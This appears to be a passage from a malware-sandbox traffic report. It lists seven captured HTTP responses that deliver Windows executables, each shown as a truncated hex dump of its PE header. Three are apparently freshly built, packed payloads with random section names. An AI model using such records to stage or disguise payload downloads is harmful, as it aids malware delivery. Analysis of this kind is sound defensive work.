Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 24 Nov 2024 01:13:25 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 24 Nov 2024 01:13:26 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 24 Nov 2024 01:13:29 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 24 Nov 2024 01:13:31 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 24 Nov 2024 01:13:37 GMTContent-Type: application/octet-streamContent-Length: 1884672Last-Modified: Sun, 24 Nov 2024 00:58:19 GMTConnection: keep-aliveETag: "67427a2b-1cc200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 10 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 4b 00 00 04 00 00 cc 18 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9c f4 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4c f4 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 a0 2a 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 61 78 6b 75 70 71 68 00 b0 19 00 00 50 31 00 00 a6 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 6e 68 75 63 66 71 70 00 10 00 00 00 00 4b 00 00 04 00 00 00 9c 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 10 4b 00 00 22 00 00 00 a0 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 24 Nov 2024 01:13:56 GMTContent-Type: application/octet-streamContent-Length: 4380672Last-Modified: Sun, 24 Nov 2024 00:28:21 GMTConnection: keep-aliveETag: "67427325-42d800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 f0 c3 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 20 c4 00 00 04 00 00 3e 9f 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c d2 c3 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1c d2 c3 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 e0 70 00 00 10 00 00 00 78 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 f0 70 00 00 00 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 71 00 00 02 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 a0 37 00 00 10 71 00 00 02 00 00 00 8a 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 78 79 64 74 75 6c 6d 00 30 1b 00 00 b0 a8 00 00 24 1b 00 00 8c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 75 78 76 6d 61 61 73 00 10 00 00 00 e0 c3 00 00 06 00 00 00 b0 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 c3 00 00 22 00 00 00 b6 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 24 Nov 2024 01:14:39 GMTContent-Type: application/octet-streamContent-Length: 1891328Last-Modified: Sun, 24 Nov 2024 00:58:05 GMTConnection: keep-aliveETag: "67427a1d-1cdc00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 51 3c 3f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 c2 00 00 00 00 00 00 00 d0 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 4b 00 00 04 00 00 a4 8f 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 80 05 00 70 00 00 00 00 70 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 60 05 00 00 10 00 00 00 62 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 70 05 00 00 02 00 00 00 72 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 80 05 00 00 02 00 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 f0 2a 00 00 90 05 00 00 02 00 00 00 76 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 79 64 69 6d 6b 6a 6d 00 40 1a 00 00 80 30 00 00 3e 1a 00 00 78 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 76 75 73 6c 6c 79 7a 00 10 00 00 00 c0 4a 00 00 04 00 00 00 b6 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 4a 00 00 22 00 00 00 ba 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
